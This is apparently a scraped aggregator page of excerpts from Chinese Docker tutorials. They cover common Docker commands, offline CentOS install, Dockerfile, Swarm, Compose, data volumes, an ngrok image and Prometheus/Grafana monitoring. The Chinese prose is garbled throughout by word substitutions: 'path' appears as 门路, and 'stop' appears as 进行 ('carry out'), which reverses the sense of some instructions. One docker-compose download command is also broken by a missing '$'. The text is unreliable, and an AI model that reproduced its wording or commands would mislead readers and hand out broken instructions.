cp {容器id}:{容器内文件门路} {宿主机文件门路} eg:docker cp 2c003a469ae3:/usr/local/etc/redis/redis.conf /Users/hpc/DockerFileSystem/redis/conf/镜像命令查看镜像docker images列出本地所有镜像docker images -a拉取镜像docker pull {镜像名}:{镜像版本}删除镜像docker rmi {镜像名}强制删除镜像docker rmi -f {镜像名/镜像id}

August 10, 2022 · 1 min · jiezi

关于docker:系统学习DockerDocker常用命令

1.Docker的帮忙启动类命令2.Docker的镜像命令3.Docker的容器命令 1.Docker的帮忙启动类命令 启动docker: systemctl start docker进行docker: systemctl stop docker重启docker: systemctl restart docker查看docker状态: systemctl status docker开机启动: systemctl enable docker查看docker概要信息: docker info查看docker总体帮忙文档: docker --help查看docker命令帮忙文档: docker 具体命令 --help 2.Docker的镜像命令 列出本地主机上的镜像: docker images REPOSITORYTAGIMAGE IDCREATEDSIZE镜像仓库源镜像版本号镜像ID镜像创立工夫镜像大小搜寻镜像: docker search 某个XXX镜像名字--limit 下载镜像: docker pull 镜像名字[:TAG]没有TAG就是最新版 查看镜像/容器/数据卷所占的空间: docker system df 删除镜像: docker rmi 某个XXX镜像名字ID(能够是id前几位) 3.Docker的容器命令 有镜像能力创立容器。 启动容器 docker run [OPTIONS] IMAGE [COMMAND] [ARG...]罕用 OPTIONS阐明:--name="容器新名字",为容器指定一个名称;-d: 后盾运行容器并返回容器ID,也即启动守护式容器(后盾运行); -i:以交互模式运行容器,通常与 -t 同时应用;-t:为容器重新分配一个伪输出终端,通常与 -i 同时应用;也即启动交互式容器(前台有伪终端,期待交互); -P: 随机端口映射,大写P-p: 指定端口映射,小写p 示例: 应用镜像ubuntu:lastest以交互模式启动一个容器,在容器内执行/bin/bash命令 ...

August 9, 2022 · 3 min · jiezi

关于docker:Centos7离线安装Docker

下载Docker并装置docker包下载地址 #下载docker-20.10.0包https://download.docker.com/linux/static/stable/x86_64/docker-20.10.0.tgz#上传到Centos零碎/data/目录,如scp docker-20.10.0.tgz root@192.168.0.5:/data/#进入data目录,解压docker包cd /datatar -zxvf docker-20.10.0.tgz#将解压进去的docker文件内容挪动到 /usr/bin/ 目录下cp docker/* /usr/bin/#查看docker版本docker version#查看docker信息docker info配置Docker开机自启动服务#增加docker.service文件vi /etc/systemd/system/docker.service#按i插入模式,复制如下内容:[Unit]Description=Docker Application Container EngineDocumentation=https://docs.docker.comAfter=network-online.target firewalld.serviceWants=network-online.target [Service]Type=notify# the default is not to use systemd for cgroups because the delegate issues still# exists and systemd currently does not support the cgroup feature set required# for containers run by dockerExecStart=/usr/bin/dockerdExecReload=/bin/kill -s HUP $MAINPID# Having non-zero Limit*s causes performance problems due to accounting overhead# in the kernel. We recommend using cgroups to do container-local accounting.LimitNOFILE=infinityLimitNPROC=infinityLimitCORE=infinity# Uncomment TasksMax if your systemd version supports it.# Only systemd 226 and above support this version.#TasksMax=infinityTimeoutStartSec=0# set delegate yes so that systemd does not reset the cgroups of docker containersDelegate=yes# kill only the docker process, not all processes in the cgroupKillMode=process# restart the docker process if it exits prematurelyRestart=on-failureStartLimitBurst=3StartLimitInterval=60s [Install]WantedBy=multi-user.target#增加文件可执行权限chmod +x /etc/systemd/system/docker.service#从新加载配置文件systemctl daemon-reload#启动Dockersystemctl start docker#查看docker启动状态systemctl status docker#查看启动容器docker ps#设置开机自启动systemctl enable docker.service#查看docker开机启动状态 enabled:开启, disabled:敞开systemctl is-enabled docker.service

August 9, 2022 · 1 min · jiezi

关于docker:系统学习DockerDocker的简介与安装

1.Docker是什么2.容器技术与虚拟化技术的比拟3.Docker能做什么4.Docker的根本组成和架构图解5.Docker的装置步骤6.Docker为什么要比VM虚拟机快 1.Docker是什么 在答复docker是什么之前,咱们先来看看为什么docker会呈现: 假如咱们当初正在开发一个我的项目,咱们应用本人的工作机进行开发,开发环境具备某些特定的配置。其它开发人员各自工作机上的开发环境也各有不同。咱们正在开发的利用依赖于以后咱们电脑上的配置。此外公司还有各种部署环境(dev,test,pre,prod),咱们不心愿因为这些开发环境而重复进行创立服务器环境的配置,请问? 如果确保利用能在这些服务器上顺利运行?而且在部署过程中不呈现令人头疼的版本,配置问题。 对于这一系列部署环境,如何只进行一次配置而不是频繁地反复配置? 答案就是应用容器。Docker对于上述问题,给出了一个标准化的解决方案————零碎平滑移植,容器虚拟化技术。 配置环境步骤繁琐,十分麻烦,每台机器都要配置一次。所以软件能不能自带环境装置?换句话说,装置的时候,把原始环境也复制过去,这样就能解决每台机器须要配置一遍的问题,也解决了“在我的电脑上能跑,在你的电脑上不行”的问题。 之前配置一个利用的运行环境,须要装置各种软件,JDK/RabbitMQ/MySQL/Redis等等,每一个配置都须要工夫进行装置,而且还得留神版本,在本机windows/mac上装置完之后,在服务器linux还得装置,移植是十分麻烦的。 Docker的次要指标是"Build,Ship and Run Any App,Anywhere",也就是通过对用户App及环境的一次构建,让用户APP(也能够是一个数据库等利用)及其环境可能做到"一次镜像,处处运行"。它次要解决了运行环境和配置问题,有助于整体公布的容器虚拟化技术。 Docker将利用打成镜像,通过镜像成为容器运行在Docker下面的实例,而Docker容器在工作操作系统都是统一的,只须要一次配置好环境,换到别的机子上就能够一键部署,大大简化了操作。 2.容器技术与虚拟化技术的比拟 传统虚拟机技术: 其实虚拟机技术就是一种带环境装置的技术。 虚拟机能够在一个操作系统上运行另一个操作系统,比方在win11外面运行Linux。而且被运行的零碎毫无感知,看上去就和实在零碎一样。对于win11来说,虚拟机就是一个一般文件,不须要了能够删掉,对其余局部毫无影响。 WIN 11VMWareCentOs各种配置+软件虚拟机实例 毛病:资源占用多冗余步骤多启动速度慢 容器虚拟机技术 因为虚拟机存在上述那些毛病,Linux倒退出了另一种虚拟化技术。 容器只须要软件工作所须要的资源库,其它一律不须要,零碎因而变得更轻量级并保障部署在任何环境中的软件都能始终如一地运行。 3.Docker能做什么 Docker的指标:一次构建、随处运行。 3.1)更疾速的利用交付和部署传统的开发实现之后,还须要提供一堆安装程序和配置阐明文档,装置部署后还要依据配置文档进行繁冗的配置。Docker化之后只须要交付大量的镜像文件,在正式环境加载镜像并运行即可,利用装置配置在镜像外面曾经内置好,大大节俭了配置部署工夫。 3.2)更便捷的降级和扩缩容随着微服务的倒退,大量的微服务会在Docker里运行,每个Docker容器将变成一块“积木”,利用的降级和扩容将会变得非常容易。 3.3)更简略的零碎运维利用容器化运行后,生产环境运行的利用与开发,测试环境的利用高度一致,容器会将应用程序相干的环境齐全封装起来。不会因为操作系统的不一致性给利用带来影响,产生其它的bug。 3.4)更高效的计算资源利用Docker是内核级虚拟化,其不像传统的虚拟化技术一样须要额定的Hypervisor反对,所以在一台物理机上能够运行很多个容器实例,可大大晋升物理服务器的CPU和内存的利用率。 4.Docker的根本组成和架构图解 Docker有以下几个重要的概念: 镜像(image):镜像是一个只读的模板,能够用来创立很多容器。镜像就像JAVA中的类一样,而docker容器实例就相似于java new进去的对象。 容器(container):Docker利用容器独立运行利用,利用程序运行在容器外面,容器外面有一个虚拟化的环境,容器就是用镜像创立运行的实例。 仓库(repository):相似于maven仓库,是集中寄存镜像文件的场合。 5.Docker的装置步骤目前,CentOS 仅发行版本中的内核反对 Docker。Docker 运行在CentOS 7 (64-bit)上,要求零碎为64位、Linux零碎内核版本为 3.8以上,这里选用Centos7.x。 咱们能够依据官网的装置流程来执行:https://docs.docker.com/engin... ,只不过配置镜像仓库须要留神一下,要设置成国内镜像。 5.1)卸载旧版本 sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine5.2)yum装置gcc相干 ...

August 5, 2022 · 1 min · jiezi

关于docker:被遗忘的-Docker-Swarm

Docker Swarm 简介Docker Swarm 是 Docker 官网推出的基于 Go 语言实现的容器集群治理平台,极大不便了咱们治理 Docker 主机、网络、存储。一个 Swarm 群包含一个或多个 Docker 主机,这里的 Docker 主机能够是物理机、虚拟机、云主机等其余运行 Docker 环境的操作系统。 外围概念Init在 Docker 装置的时候曾经集成了 Swarm 集群能力,咱们只须要一行命令开启它 docker swarm initNodeNode 示意的是 Swarm 集群中的一个节点,是一个大的调度单元,由集群管理者对立治理,在 Swarm 集群中咱们能够执行以下命令查看节点信息 docker node lsManagerSwarm 集群的管理者角色,一个集群中至多有一个 manager 它负责集群资源分配、任务调度,它也能够被本人获取其余 manager 调度,一个节点被退出集群的时候咱们能够指定它的身份,能够通过以下命令查看退出集群 manager 角色的命令 \ WorkerSwarm 集群中只能被调度的工作节点,worker 节点仅负责运行工作,能够通过以下命令查看退出集群 worker 角色的命令 \ ServiceService 服务是 Swarm 集群中的最小执行单元,它具备资源限度、弹性伸缩、滚动降级和简略会滚的能力,咱们的利用均以 service 定义并运行在集群中 Configconfig 配置管理,用于定义存储咱们的配置,例如利用启动须要的配置,能够应用以下命令创立咱们的配置 echo "application.name=demo" | docker application.properties -Secretsecret 密钥治理,思考到配置平安,一些明感信息咱们能够抉择密钥存储,相似于 config 的应用形式 echo "123456" | docker mysql.password -docker-compose理解的 swarm 集群的基本概念,上面咱们将学习如何应用 docker-compose 语法来编写咱们的利用。这里仅做学习应用,redis、mysql 等存储监控组件均已单机版运行。 ...

August 1, 2022 · 3 min · jiezi

关于docker:为了实现CICD先来定制一个Docker镜像实战精华篇

背景打算把手头的我的项目逐渐革新为基于Docker容器的形式公布,同时,我的项目中曾经采纳了云厂商提供的CI/CD自动化公布流水线。因而,为配合CI/CD操作,须要先针对我的项目构建一些公布的脚本,通过脚本来自动化操作Docker镜像定制、Docker的启动和进行。 在浏览和实际本篇文章之前,如果你还未搭建Docker的环境,可参考上篇文章《Linux装置Docker残缺教程》,先把整个环境搭建起来,同时相熟一下Docker的基本操作命令。 这篇文章就配合具体的实际案例来为大家讲讲如何定制一个Docker镜像,并通过脚本来执行镜像的构建、我的项目的公布、容器的启动与进行等。 什么是Dockerfile?Dockerfile是一个用来构建镜像的文本文件,文本内容蕴含了一条条构建镜像所需的指令和阐明。常见的指令比方有:FROM、RUN、ADD、COPY、CMD、ENV等。 在镜像构建时,须要留神的一点是:镜像的构建是一层层构建的,前一层是后一层的根底。每一层构建完就不会再产生扭转,后一层上的任何扭转只产生在本人这一层。 像下面提到的指令,每一次操作都会构建一层。比方删除前一层的文件,在最终容器运行时,尽管看不到这个文件,然而实际上该文件会始终追随镜像。因而,在构建镜像时,须要额定小心,每一层尽量只蕴含该层须要增加的货色,任何额定的货色应该在该层构建完结前清理掉。 另外,为了缩小构建层的数量,在编写Dockerfile文件时尽量将多层的指令合并成一层执行,比方两个RUN命令能够通过&&将其合并成一条。 不倡议的镜像制作形式制作Docker镜像通常有两种形式:基于docker commit和基于Dockerfile的模式。 Docker提供了一个 docker commit 命令,能够将容器的存储层保留下来成为镜像。换句话说,就是在原有镜像的根底上,再叠加上容器的存储层,并形成新的镜像。后续运行这个新镜像时,就会领有原有容器最初的文件变动。 docker commit的形式除了学习之外,还能够用于一些非凡的场景,比方被入侵后保留现场等。然而不要应用 docker commit 定制镜像,定制镜像应该应用 Dockerfile 来实现。 这是因为在应用docker commit制作镜像时,除了咱们想要批改的内容(文件)之外,该命令还会批改一些其余的文件,而且所有对镜像的操作都是黑箱操作,生成的镜像也被称为黑箱镜像。 除了制作镜像的人晓得执行过什么命令、怎么生成的镜像,他人基本无从得悉。即便制作镜像的人,一段时间后可能也无奈记清具体的操作。这种黑箱镜像的保护工作是十分苦楚的。 另外,如果应用 docker commit 制作镜像,以及前期批改的话,每一次批改都会让镜像更加臃肿一次,所删除的上一层的货色并不会失落,会始终如影随形的跟着这个镜像,即便根本无法拜访到。这会让镜像更加臃肿。 因而,这里咱们不采纳 docker commit 的形式制作镜像,如果大家感兴趣的话,能够在网络上查问一下该形式的制作流程。本文重点介绍基于 Dockerfile 的形式来制作镜像,上面就以实例展现一下如何构建一个Docker镜像。 Dockerfile指令编写在/opt目录下创立一个业务目录/opt/channel/docker(这里部署的我的项目为渠道我的项目,取名channel),在该目录下寄存Dockerfile、待发布的jar包等资源文件。 $ cd /opt/channel/docker$ touch Dockerfile上述指令先进入/opt/channel/docker目录、创立了一个空的Dockerfile(文本)文件。 编辑Dockerfile内容如下: FROM java:8COPY ./hqy-service-channel.jar ./app.jarENV spring.profiles.active prodEXPOSE 8190ENTRYPOINT ["java", "-jar","-Duser.timezone=GMT+08", "./app.jar"]Dockerfile中波及到FROM、COPY、ENV、EXPOSE、ENTRYPOINT五个指令,上面逐个解说。 FROM指令所谓制作镜像,就是在曾经存在的镜像的根底上进行定制。根底镜像是必须指定的,而 FROM 就是指定根底镜像,因而一个 Dockerfile 中 FROM 是必备的指令,并且必须是第一条指令。 这里的FROM java:8,也就是采纳openjdk在Docker镜像源中的镜像,版本为8。能够通过search命令查看一下这个镜像: [docker]# docker search javaNAME DESCRIPTION STARS OFFICIAL AUTOMATEDnode Node.js is a JavaScript-based platform for s… 11734 [OK]tomcat Apache Tomcat is an open source implementati… 3368 [OK]openjdk "Vanilla" builds of OpenJDK (an open-source … 3362 [OK]java DEPRECATED; use "openjdk" (or other JDK impl… 1976 [OK]第4个name为java的便是,为了不便前面操作,这里间接将镜像pull到本地。 ...

July 29, 2022 · 2 min · jiezi

关于docker:Linux安装docker

Docker 是一个开源的利用容器引擎,让开发者能够打包他们的利用以及依赖包到一个可移植的镜像中,而后公布到任何风行的 Linux或Windows操作系统的机器上,也能够实现虚拟化。容器是齐全应用沙箱机制,相互之间不会有任何接口。 1.centos零碎下装置docker Docker分为CE和EE两大版本。CE是社区版(收费) 1.1卸载之前的旧版本如果之前装置过,而后想要卸载,就用上面的命令 yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-selinux \ docker-engine-selinux \ docker-engine \ docker-ce如图 1.2装置docker这一步须要联网,应用yum装置 yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 --skip-broken如图上面更新本地镜像源 yum-config-manager \ --add-repo \ https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.reposed -i 's/download.docker.com/mirrors.aliyun.com\/docker-ce/g' /etc/yum.repos.d/docker-ce.repoyum makecache fast如图 而后再装置CE版本yum install -y docker-ce如图 1.3启动docker因为docker会用到很多的端口,如果一个一个放行权限,会很麻烦,倡议间接敞开防火墙 #敞开 systemctl stop firewalld#禁止开机启动防火墙systemctl disable firewalld#查看是否敞开防火墙systemctl status firewalld而后通过命令启动docker # 启动docker服务systemctl start docker # 进行docker服务systemctl stop docker# 重启docker服务systemctl restart docker如图如果启动胜利,这个就会是绿色的查看docker版本docker -v如图 ...

July 27, 2022 · 1 min · jiezi

关于docker:OpsCICDDocker-学习笔记

Docker 简介和装置Docker 是什么Docker 是一个利用打包、散发、部署的工具你也能够把它了解为一个轻量的虚拟机,它只虚构你软件须要的运行环境,多余的一点都不要,而一般虚拟机则是一个残缺而宏大的零碎,蕴含各种不论你要不要的软件。 跟一般虚拟机的比照个性一般虚拟机Docker跨平台通常只能在桌面级零碎运行,例如 Windows/Mac,无奈在不带图形界面的服务器上运行反对的零碎十分多,各类 windows 和 Linux 都反对性能性能损耗大,内存占用高,因为是把整个残缺零碎都虚构进去了性能好,只虚构软件所需运行环境,最大化缩小没用的配置自动化须要手动装置所有货色一个命令就能够主动部署好所需环境稳定性稳定性不高,不同零碎差别大稳定性好,不同零碎都一样部署形式打包、散发、部署打包:就是把你软件运行所需的依赖、第三方库、软件打包到一起,变成一个==安装包==散发:你能够把你打包好的“安装包”上传到一个镜像仓库,其他人能够十分不便的获取和装置部署:拿着“安装包”就能够一个命令运行起来你的利用,主动模拟出一摸一样的运行环境,不论是在 Windows/Mac/Linux。 Docker 部署的劣势惯例利用开发部署形式:本人在 Windows 上开发、测试 --> 到 Linux 服务器配置运行环境部署。 问题:我机器上跑都没问题,怎么到服务器就各种问题了用 Docker 开发部署流程:本人在 Windows 上开发、测试 --> 打包为 Docker 镜像(能够了解为软件安装包) --> 各种服务器上只须要一个命令部署好 长处:确保了不同机器上跑都是统一的运行环境,不会呈现我机器上跑失常,你机器跑就有问题的状况。Docker 通常用来做什么利用散发、部署,不便流传给别人装置。特地是开源软件和提供公有部署的利用疾速装置测试/学习软件,用完就丢(相似小程序),不把工夫节约在装置软件上。例如 Redis / MongoDB / ElasticSearch / ELK多个版本软件共存,不净化零碎,例如 Python2、Python3,Redis4.0,Redis5.0Windows 上体验/学习各种 Linux 零碎重要概念:镜像、容器镜像:能够了解为软件安装包,能够不便的进行流传和装置。容器:软件装置后的状态,每个软件运行环境都是独立的、隔离的,称之为容器。 装置桌面版:https://www.docker.com/products/docker-desktop服务器版:https://docs.docker.com/engine/install/#server 启动报错解决报错截图 解决办法:控制面板->程序->启用或敞开 windows 性能,开启 Windows 虚拟化和 Linux 子系统(WSL2) 命令行装置 Linux 子系统(这步可能不须要,因为 docker 装置时有说主动装置 wsl)wsl --install -d Ubuntu 命令行装置可能太慢,你也能够关上微软商店 Microsoft Store 搜寻 Linux 进行装置设置开机启动 Hypervisorbcdedit /set hypervisorlaunchtype auto ...

July 24, 2022 · 3 min · jiezi

关于docker:Docker学习2数据卷

什么是容器数据卷docker概念将利用和环境打包成一个镜像!如果数据都在容器中,那么咱们容器删除,数据就会失落!容器之间能够有一个数据共享的技术!Docker容器中产生的数据,同步到本地!这就须要用到数据卷,也就是将咱们容器内的目录,挂载到Linux下面! 总结:容器的长久化和同步操作,容器间也能够数据共享的! 应用数据卷间接命令挂载 -vdocker run -it -v 主机目录:容器内的目录# 启动后能够应用上面的命令查看挂载有没有胜利docker inspect 容器id # 能够在 Mounts 内查看2.测试1.在本地减少或者批改文件查看容器内有没有改变2.容器内减少或批改查看本机目录有没有同步改变 具名和匿名挂载1.匿名:只写容器内的路劲给,不写容器外的门路 -v 容器内门路docker run -d -p --name nginx01 -v /etc/nginx nginx# 查看所有卷的状况docker volume ls#发现 数据# 2.具名 通过-v 卷名:容器内门路docker run -d -p --name nginx01 -v [卷名]:/etc/nginx nginx# 查看卷docker volume inspect 卷名# 一旦设置了容器权限 容器对咱们挂在进去的容器就有限定了ro readonly # 只读rw readwrite # 可读写docker run -d -p --name nginx01 -v [卷名]:/etc/nginx:ro nginxdocker run -d -p --name nginx01 -v [卷名]:/etc/nginx:rw nginxDockfile挂载1.创立Dockfile文件 ...

July 20, 2022 · 1 min · jiezi

关于docker:Docker-部署中间件

Docker 装置1. 卸载旧版本sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine2. 装置根底依赖yum install -y yum-utils device-mapper-persistent-data lvm23. 配置 docker yum 源sudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo4. 装置并启动 dockeryum install -y docker-ce-19.03.8 docker-ce-cli-19.03.8 containerd.iosystemctl enable dockersystemctl start docker5. 查看 docker 版本docker --version6. 配置 docker 减速sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://t1gbabbr.mirror.aliyuncs.com"]}EOF7. 设置开机自启动sudo systemctl daemon-reloadsudo systemctl restart dockerDocker-Compose 装置1. 装置sudo curl -L https://github.com/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-composesudo chmod +x /usr/local/bin/docker-compose2. 查看版本docker-compose --versionDocker 部署 Nginx1. 拉取镜像docker pull nginx:1.202. 运行容器docker run --name nginx -d -p 80:80 nginx:1.203. 进入容器外部docker exec -it nginx bash4. 拷贝配置文件docker cp nginx:/etc/nginx /data/software/docker/nginx/5. 配置文件nginx.conf ...

July 19, 2022 · 6 min · jiezi

关于docker:Docker二DockerCompose网络数据卷

@[toc] 前言Compose 是用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您能够应用 YML 文件来配置应用程序须要的所有服务。而后,应用一个命令,就能够从 YML 文件配置中创立并启动所有服务。 一、镜像编排与容器编排概念 镜像编排在docker中,通过应用docker-compose指令执行一个YAML文件,将文件中所定义的多个镜像顺次启动,这就是镜像编排。也能够了解为批量操作镜像。容器编排在docker中,通过应用docker-compose指令执行一个YAML文件,将文件中所定义的多个容器顺次启动,这就是容器编排。也能够了解为批量操作容器。二、Docker-Compose实现步骤 装置docker-compose 1.1、下载地址 sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-(uname -s)-(uname -m)" -o /usr/local/bin/docker-compose 1.2、减少Compose权限 sudo chmod +x /usr/local/bin/docker-compose 1.3、创立compose快捷方式 sudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose 1.4、测试装置是否胜利 docker-compose --version创立docker-compose.yml touch docker-compose.yml配置docker-compose.yml 外围配置 version: '3' #指定docker-compose版本号services #配置容器[容器列表] nginx: #配置容器标识[惟一的编号] image: #镜像名称 ports: #配置容器映的端口号[数组] - - networks: #配置容器网络[数组] - - networks #网络指定配置 nginx-work: #配置网络名称 external: true #网络自定义volumes #数据挂载extensions 扩大配置批量生成镜像配置 version: '3'services: nginx: build: [Dockerfile所在的文件夹门路] ports: - 8001:80 DemoWebApi: build: [Dockerfile所在的文件夹门路] ports: - 5001:80 - 5002:443 批量生成容器配置netcore例子镜像和nginx镜像编写的docker-compose.yml文件 ...

July 15, 2022 · 3 min · jiezi

关于docker:Docker-学习笔记常用命令

你得折腾起来啊! 常用命令# 显示docker的版本信息docker version # 显示docker的零碎信息,包含镜像和容器的数量docker info# 万能命令docker 命令 --help镜像命令docker images 查看所有本地的主机上的镜像 1.解释 RESPOSITORY镜像的仓库源TAG镜像的标签IMAGE ID镜像的idCREATED创立工夫SIZE大小2.可选项 -a, --all # 列出所有镜像docker images -a -q, --quiet # 只显示镜像的iddocker images -qdocker images -aq #列出所有镜像的iddocker search 搜寻镜像ps: 倡议去docker hub 搜寻,能够显示详细信息及示例 1.可选项 -f, --filter # 按条件过滤后果docker search nginx --filter=TARTS=3000docker pull 镜像名[:tag] # 下载镜像不写tag 默认拉去latest版本docker pull nginx:1.0 docker rmi 删除镜像docker rmi -f 镜像id #删除指定容器docker rmi -f 镜像id 镜像id 镜像id ... # 删除多个容器docker rmi -f $(docker iamges -aq) # 删除全副的容器容器命令docker pull 下载一个镜像docker pull name[:tag] ...

July 15, 2022 · 2 min · jiezi

关于docker:Cannot-connect-to-the-Docker-daemon

问题在WSL(Windows Subsystem for Linux )中运行docker version的时候,终端最初一行报错了 Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?表明docker并没有失常启动,基本上就是要重启下docker就能够。 解决小编的WSL装置的是Ubuntu零碎,应用命令三胜利启动docker,不相熟Linux的话,你能够顺次尝试以下命令。 命令一 systemctl start docker命令二sudo dockerddockerd 是 docker 容器的守护程序服务,因为它不在后盾运行,咱们无奈采取与服务相干的任何操作,须要重新启动。 命令三sudo service --status-all sudo service docker start总结以上就是小编在应用docker的过程中总结的一点教训,更多docker学习欢送关注我的更新。 参考Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?Cannot connect to the Docker daemon at unix:/var/run/docker.sock. Is the docker daemon running?

July 14, 2022 · 1 min · jiezi

关于docker:docker一键编译部署启动ngrok

Ngrok 服务端启动前的配置批改.env文件配置。 应用本人申请的证书时,将证书的server.crt、server.key、rootCA.pem文件放在我的项目的ssl目录内,并配置门路为/ssl/xxx。如不应用本人的证书,将.env里的NGROK_TLS_CRT、NGROK_TLS_KEY、NGROK_TLS_CA去掉即可在编译时生成自签名证书。(若无 https 代理需要,应用自签名证书即可)如果应用本人申请的证书,旧证书过期后若新申请的证书 CA 与原来的统一,可间接批改此处的证书门路后重启 docker 服务,不须要从新编译客户端。# ngrok域名NGROK_DOMAIN=ngrok.xxx.com# http端口NGROK_HTTP_PORT=16880# https端口NGROK_HTTPS_PORT=16844# 隧道端口NGROK_TUNNEL_PORT=4443# ssl证书门路(可不设置)NGROK_TLS_CRT=/ssl/server.crt# ssl证书密钥门路(可不设置)NGROK_TLS_KEY=/ssl/server.key# ssl证书CA门路(可不设置)NGROK_TLS_CA=/ssl/rootCA.pem1.Docker 形式启动构建 Docker 镜像docker build -t ngrok-docker .启动 Docker 容器# 映射的端口别离是 http端口 https端口 隧道端口docker run -itd --name ngrok-docker -p 16880:16880 -p 16844:16844 -p 4443:4443 -v $PWD/ssl:/ssl --env-file=.env ngrok-docker2.docker-compose 形式启动构建镜像docker-compose build ngrok启动docker-compose up -d ngrokNgrok 客户端将编译好的客户端从容器中拷贝进去 # Windows版docker cp ngrok-docker:/ngrok/bin/windows_amd64/ngrok.exe .# Linux版docker cp ngrok-docker:/ngrok/bin/ngrok .注:ngrok-docker为容器名称或容器 id,可用docker ps -a查看容器 id 或名称 Windows 版配置文件示例# ngrok.cfgserver_addr: "ngrok.xxx.com:4443"trust_host_root_certs: falsetunnels: http: subdomain: "test" proto: http: 8001 tcp: remote_port: 23001 proto: tcp: 8001注:通过测试,若配置本人申请的 ssl 证书,若域名为ngrok.xxx.com,反对以下两种配置可失常拜访 https 链接: ...

July 13, 2022 · 1 min · jiezi

关于docker:Docker容器常用命令

// (常用命令) 1、docker run 镜像名称 (如果本地没有该镜像,主动从docker hub上下载)2、docker images (查看有哪些镜像) docker rmi IMAGEID 删除指定的镜像 docker -rmi -f IMAGEID 强制删除镜像3、docker Ps 或者 docker container ls -a(查看所有的容器)4、docker pull 镜像名称 (拉取下载镜像,默认保留门路/var/lib/docker)5、docker ps (查看以后所有运行的容器)6、docker start container_name/container_id (启动容器) docker restart container_name/container_id (重启容易) docker stop container_name/container_id (进行容器) docker update --restart=always asp3000_biquge (更新容器运行的参数) docker daemon 7、docker attach container_name/container_id (进入容器)// ctrl + p +q(退出容器) docker exec -it containerID /bin/bash //(查看容器目录构造) docker exec -it mongodb sh docker logs -f 3d96e0c30f06 //查看容器日志 docker logs --tail 300 -f -t mongodb // -f跟踪日志输入 -t显示工夫戳最初,如果各位有不懂的中央能够问我或者去官网哈附上官网链接:https://docs.docker.com/deskt... ...

July 12, 2022 · 1 min · jiezi

关于docker:Docker-笔记-Docker-容器的退出状态码

阐明:后面的文章中曾经写过对于容器的退出状态码的内容,鉴于这个知识点在实践中比拟根底和罕用,还是独自拿进去写一下,也不便参考 Docker 容器也有退出状态码,这一点相似 Linux 命令。Docker 容器的重启策略就是基于状态码。具体如下: 0示意容器失常退出。例如 stop 容器。非 0示意容器退出异样(退出状态码采纳 chroot 规范)。例如执行 docker run 失败后的容器退出。125Docker 守护过程自身有谬误。126容器启动后,要执行的默认命令无奈调用。127容器启动后,要执行的默认命令不存在。其余命令状态码容器启动后在容器外部执行命令,该命令退出时的返回状态码,就作为容器的退出状态码。获取 Docker 容器退出状态码的办法办法一:应用命令 docker ps -adocker ps -a 命令返回后果的第 5 列中 Exited 前面括号中的数字就是容器的退出状态码。如下所示,Exited (1) 33 minutes ago,括号内的 1 就是这个容器的退出状态码。然而 1 并不是容器自身的退出状态码,而是容器中运行的命令执行失败后退出的状态码。在 Linux 零碎定义的命令退出状态码中,1 示意未知,即零碎不晓得具体谬误的起因。这时候就须要看具体的日志来判断。 [root@k8s-master /]# docker ps -a | grep nginx3e64cad716c0 192.168.100.20:5000/mynginx:latest "nginx" 36 minutes ago Exited (1) 33 minutes ago nginx-demo办法二:应用 inspect 命令inspect 命令是用来获取容器的命令,配合其余参数就能获取容器的退出状态码。如下所示,还是下面案例中的容器,取得其退出状态码为 1 [root@k8s-master /]# docker inspect 3e64cad716c0 --format='{{.State.ExitCode}}'1

July 11, 2022 · 1 min · jiezi

关于docker:Prometheus-Grafana-搭建监控系统

前言本文次要记录下如何应用 Prometheus + Grafana 搭建对各种服务的性能监控,涵盖对 Prometheus、Grafana 的根本介绍,以及如何应用二者进行对 Linux、MySQL、Redis等监控。为了不便操作,所有的组件都是基于 Docker 容器进行操作。概述Prometheus概述Prometheus 是云原生计算基金会的我的项目,是一个零碎和服务监控零碎。 它以给定的工夫距离从配置的指标收集指标,评估规定表达式,显示后果,并在察看到指定条件时触发警报。Prometheus 与其余指标和监控零碎的区别在于: 多维数据模型(由指标名称和键/值维度集定义的工夫序列)反对PromQL,一种弱小且灵便的查询语言,可利用此维度不依赖分布式存储,单个服务器节点是自治的用于工夫序列收集的 HTTP 拉取模型通过用于批处理作业的两头网关反对推送工夫序列通过服务发现或动态配置发现指标反对多种模式的图形和仪表板反对分层和程度联结官网地址 Github 地址 架构图 装置应用原生形式装置:下载地址应用 Docker 装置 拉取镜像 docker pull prom/prometheus:v2.35.0启动命令 docker run --name prometheus -d -p 9090:9090 prom/prometheus:v2.35.0配置文件挂载 将容器外部的配置文件拷贝到宿主机 docker cp prometheus:/etc/prometheus /data/software/docker/prometheus/配置文件 prometheus.yml # my global configglobal: scrape_interval: 15s # Set the scrape interval to every 15 seconds. Default is every 1 minute. evaluation_interval: 15s # Evaluate rules every 15 seconds. The default is every 1 minute. # scrape_timeout is set to the global default (10s).# Alertmanager configurationalerting: alertmanagers: - static_configs: - targets: # - alertmanager:9093# Load rules once and periodically evaluate them according to the global 'evaluation_interval'.rule_files: # - "first_rules.yml" # - "second_rules.yml"# A scrape configuration containing exactly one endpoint to scrape:# Here it's Prometheus itself.scrape_configs: # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config. - job_name: "prometheus" # metrics_path defaults to '/metrics' # scheme defaults to 'http'. static_configs: - targets: ["localhost:9090"]挂载配置文件启动容器 ...

July 9, 2022 · 3 min · jiezi

关于docker:docker

